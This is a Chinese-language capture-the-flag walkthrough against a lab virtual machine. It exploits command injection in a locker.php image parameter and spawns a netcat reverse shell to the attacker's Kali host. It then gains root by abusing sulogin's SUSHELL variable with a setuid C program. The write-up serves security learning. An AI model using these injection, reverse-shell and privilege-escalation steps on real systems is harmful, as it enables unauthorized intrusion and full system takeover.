知非
- 关注

前言
本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!
信息收集阶段
KALI攻击机地址:192.168.1.128
靶机地址:192.168.1.140
目标:root.txt和user.txt
nmap -A -p1-65535 192.168.1.140
漏洞利用阶段
开放了80端口:访问下看看!
查看下源代码!
点击链接后,有一张图!
http://192.168.1.140/locker.php?image=1
然后,我们修改数值时,比如
http://192.168.1.140/locker.php?image=2
http://192.168.1.140/locker.php?image=3
数字改为4以后,图片就显示不出来了!
http://192.168.1.140/locker.php?image=4
这个数字是可控变量!
经核查,链接存在命令执行漏洞!
view-source:http://192.168.1.140/locker.php?image=;pwd;
这里,我们直接用链接反弹shell!
view-source:http://192.168.1.140/locker.php?image=;nc%20192.168.1.128%204444%20-e%20/bin/bash;
切换反弹shell为交互shell!!!
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
这里,我们需要把当前用户提升到以下两个账户的权限:
权限提升阶段
老样子:sudo -l 和suid查询走起:
sulogin这个程序很可疑!
执行下看看!Root账户在锁定,让我们查看sulogin的帮助页面:
man sulogin
当系统进入单用户模式时,初始化时会调用sulogin。
提供root密码用于系统维护。
如果root账户被锁定了,可以使用--force参数,就不需要密码。
这个帮助信息也非常重要:
环境变量:
sulogin寻找环境变量SUSHELL或者sushell去判断启用那个shell。如果环境变量未设置,它就会去从/etc/passwd中执行root的shell。如果失败,它会退出到/bin/sh中。
sulogin -e
所以这个要新建这个环境变量,并建立一个假的shell!
新建一个C的程序去设置uid和gid为0,即root的信息,然后用system命令执行/bin/bash!
代码如下:fakeshell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0);
setgid(0);
system("/bin/bash");
}
编译并把它放到目标主机上!
gcc -o fakeshell fakeshell.c
接着需要在目标主机修改环境变量:
cd /tmp
echo $SUSHELL
export SUSHELL=/tmp/fakeshell
chmod +x fakeshell
echo $SUSHELL
sulogin -e
最后flag都出来了!!
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
